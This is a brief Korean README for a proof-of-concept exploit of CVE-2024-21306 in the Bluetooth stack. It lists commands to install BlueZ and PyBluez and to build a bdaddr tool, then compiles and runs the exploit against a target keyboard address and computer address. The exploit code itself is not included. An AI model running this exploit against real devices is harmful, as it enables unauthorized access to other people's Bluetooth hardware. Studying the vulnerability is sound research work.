
CVE-2024-21306에 대한 개념 증명 익스플로잇으로, Bluetooth 스택을 대상으로 합니다. BlueZ 및 PyBluez 종속성을 사용한 Bluetooth 인터페이스 조작을 통해 취약점 악용을 시연합니다.
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev git gcc python3-pip python3-setuptools python3-pydbus
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
gcc -o CVE-2024-21306 CVE-2024-21306.c -lbluetooth
./CVE-2024-21306 interface keyboard_address computer_address